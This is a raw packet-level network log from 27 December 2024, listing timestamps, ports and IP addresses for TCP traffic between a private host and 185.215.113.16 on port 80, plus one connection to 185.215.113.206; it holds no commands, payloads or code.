Dec 27, 2024 09:00:26.163083076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163091898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163103104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163105011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163114071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163131952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163132906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163144112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163151979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163156986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163168907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163180113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163182020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163208008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163239956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163813114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163825989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163923979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163966894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163980007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163990021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164001942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164012909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164024115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164025068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164035082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164048910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164061069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164067030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164072037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164083004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164094925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164098024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164098024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164108038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164119959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164122105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164165020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164177895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.164984941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.164997101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165007114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165019035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165030003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165041924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165043116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165055037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165066004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165066957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165076971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165090084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165102005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165112972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165116072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165116072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165124893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165136099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165138006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165148973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165162086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165182114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165190935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165230989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165790081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165827990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165838957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165849924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165862083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165872097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165884018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165895939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165899992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165899992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165930986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165945053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165945053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.165946007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165956974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165967941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165978909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.165990114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166001081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166012049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166013002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166013002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166023970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166065931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166065931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166728973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166740894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166754007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166766882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166788101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166812897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.166982889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.166995049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167006016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167017937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167028904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167033911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167074919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167074919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167114019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167125940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167171001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167228937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167241096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167256117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167267084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167279959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167292118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.167324066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167324066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.167340994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168067932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168080091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168090105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168102026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168112993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168124914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168131113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168138027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168148994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168159962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168163061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168173075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168174982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168184996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168198109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168209076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168221951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168231964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168232918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168232918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168243885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168256044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168262959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168284893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.168865919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.168908119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169008970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169022083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169032097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169043064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169054985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169065952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169078112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169089079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169090986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169100046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169112921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169127941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169140100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169141054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169141054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169151068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169162989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169173002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169193983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169223070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169842958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169855118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169866085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169879913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.169903994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.169934034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170093060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170105934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170115948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170128107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170141935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170144081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170151949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170164108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170182943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170192957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170202017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170205116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170217037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170222998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170229912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170242071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170244932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170244932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170253038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170264006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.170269012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.170342922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171005964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171020985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171031952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171062946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171111107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171145916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171159983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171174049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171185970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171192884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171197891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171211004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171221972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171225071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171235085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171247959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171252966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171258926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171261072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171271086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171283007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.171329975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.171329975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.172116041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172136068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172147036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172169924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172172070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.172182083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172194958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172204018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.172207117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172221899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.172234058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.172286987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.185662031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185782909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.185810089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185821056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185839891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185851097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185862064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185864925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.185874939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.185905933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.185944080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186063051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186075926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186089039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186129093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186214924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186225891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186237097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186275005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186275005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186330080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186407089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186424017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186472893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186496019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186538935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186553955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186566114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186577082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186651945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.186775923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186793089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.186832905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.187114000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187172890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187179089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.187186003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187236071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.187259912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187396049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187407017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187418938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.187469006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.187469006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.290235996 CET	49746	80	192.168.2.4	185.215.113.206
Dec 27, 2024 09:00:26.349251986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349270105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349283934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349360943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349366903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349371910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349385023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349406004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349430084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349468946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349526882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349580050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349612951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349625111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349675894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349777937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349790096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349802971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349814892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.349848986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.349891901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350092888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350140095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350152969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350250959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350261927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350261927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350290060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350382090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350394011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350405931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350441933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350480080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350507975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350519896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.350600004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.350992918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351012945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351028919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351087093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.351178885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351191998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351203918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351221085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351246119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.351263046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.351439953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351452112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351465940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351519108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.351519108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.351891994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351952076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.351963997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352039099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.352055073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352123022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.352123976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352135897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352148056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352193117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.352363110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352375031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352386951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352408886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.352426052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.352844000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352900028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352911949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.352956057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.353048086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.353060007 CET	80	49743	185.215.113.16	192.168.2.4
